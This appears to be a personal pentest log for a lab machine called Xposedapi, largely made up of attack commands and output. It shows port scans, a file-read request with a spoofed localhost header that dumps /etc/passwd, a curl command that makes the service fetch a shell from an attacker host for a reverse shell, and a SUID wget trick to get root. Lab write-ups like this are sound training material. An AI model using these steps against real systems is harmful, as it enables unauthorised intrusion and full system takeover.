Xposedapi

🧪 Pentest Log: {{date:2025-08-18}}

🔍 Target Information

Machine Name: Xposedapi
IP Address: 192.168.199.134
Operating System: Linux

ip=192.168.199.134

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 13337

💣 Exploitation

📌 Vulnerability Summary

Service / Port: 13337
Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

Manual
Public Exploit
Custom Script

Tool / Script Used:

GET /logs?file=/etc/passwd HTTP/1.1
Host: localhost:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: localhost
Upgrade-Insecure-Requests: 1
Priority: u=0, i


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh

curl -X POST 'http://192.168.199.134:13337/update' -H "Content-Type: application/json" -d '{"user":"clumsyadmin", "url":"http://192.168.45.163/shell"}'


POST /restart HTTP/1.1
Host: 192.168.199.134:13337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 18

{"confirm":"true"}

🧬 Privilege Escalation

👤 Current Access

User: clumsyadmin
Groups: 1000(clumsyadmin)
Shell Type: reverse shell

🔍 Enumeration

SUID Files

find / -type f -perm -4000 2>/dev/null

Found

/usr/local/wget

🔓 Privilege Escalation Exploit

📌 Exploit Summary

Technique Used: SUID Abuse
Target Binary/Service: wget
Reference / Source: GTFOBins

🔧 Exploit Steps

Smash to root

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
wget --use-askpass=$TF 0